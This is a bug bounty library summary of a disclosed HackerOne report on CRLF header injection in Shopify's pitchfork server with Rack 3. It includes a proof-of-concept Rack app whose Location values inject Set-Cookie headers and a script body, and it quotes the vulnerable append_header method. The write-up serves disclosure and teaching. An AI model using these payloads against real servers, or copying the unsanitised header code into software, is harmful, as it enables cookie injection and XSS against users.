# HTTP Response Header Injection in shopify/pitchfork + Rack 3

Pitchfork's append_header didn't sanitize newlines in Rack 3 array header values, letting attacker-controlled Location values inject Set-Cookie headers and spoof response body for XSS.

- Payout: $800
- Severity: low
- Program: Shopify
- Found by: ooooooo_q
- Disclosed: 2025-03-27
- CVE: CVE-2025-30221
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/2279572
- Library page: https://bugbountylibrary.com/r/h1%3A2279572
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:low tech:nginx tech:ruby technique:regression technique:source-review vuln:crlf-injection vuln:xss

**Target:** Ruby Rack HTTP server response header serialization
**Root cause:** In append_header, the Rack 3 Array branch writes each value verbatim with `#{key}: #{v}\r\n` without stripping embedded CR/LF, unlike the Rack 2 branch which splits on /\n+/.
**Steps:**
1. Run pitchfork 0.10.0 with rack 3.0.8 behind nginx proxy_pass
2. App serve a Location header built from user input, e.g. `["a\r\nSet-cookie: injected=value"]`
3. Request `/?mode=rn` -> injected Set-Cookie appears in response
4. Request `/?mode=b` with value `"d\r\n\r\n<script>alert(location)</script>"` -> body spoofed, XSS fires
5. Note: bare `\r` is blocked by nginx; `\n` and `\r\n` succeed
**How found:** Code review of pitchfork's http_response.rb append_header: noticed the Rack 3 Array branch lacked the newline-splitting sanitization present in the Rack 2 branch, then built a minimal Rack app + nginx to confirm which newline variants survive.
**Exploitation:** Attacker controls a header value (redirect destination or cookie) reflected into a Rack 3 array header; injecting CRLF adds arbitrary Set-Cookie headers or terminates headers to inject an HTML body, yielding XSS in the victim's browser.
**Insight:** When a library has parallel code paths for old vs new protocol versions (Rack 2 vs Rack 3), diff their sanitization logic — the newer branch often drops hardening the older one had. Test \r, \n, and \r\n separately since proxies filter them differently.

## Proof of concept (copied exactly from the original report)

**Rack app injecting CRLF/LF into location header**

```
class PitchForkHeaderInjection
  def call(env)
    params =  Rack::Request.new(env).params
    location = if params["mode"] == "rn"
                 ["a\r\nSet-cookie: injected=value"]
               elsif params["mode"] == "r"
                 ["b\rSet-cookie: injected_2=value2"]
               elsif params["mode"] == "n"
                 ["c\nSet-cookie: injected_3=value3"]
               elsif params["mode"] == "b"
                 ["d\r\n\r\n<script>alert(location)</script>"]
               else 
                  [""]
               end

    [ 200,
      {
       'content-type' => 'text/html',
        'location' => location
        },
      [""]
    ]
  end
end

run PitchForkHeaderInjection.new
```

**Vulnerable append_header method in pitchfork**

```
def append_header(buf, key, value)
      case value
      when Array # Rack 3
        value.each { |v| buf << "#{key}: #{v}\r\n" }
      when /\n/ # Rack 2
        # avoiding blank, key-only cookies with /\n+/
        value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
      else
        buf << "#{key}: #{value}\r\n"
      end
    end
```

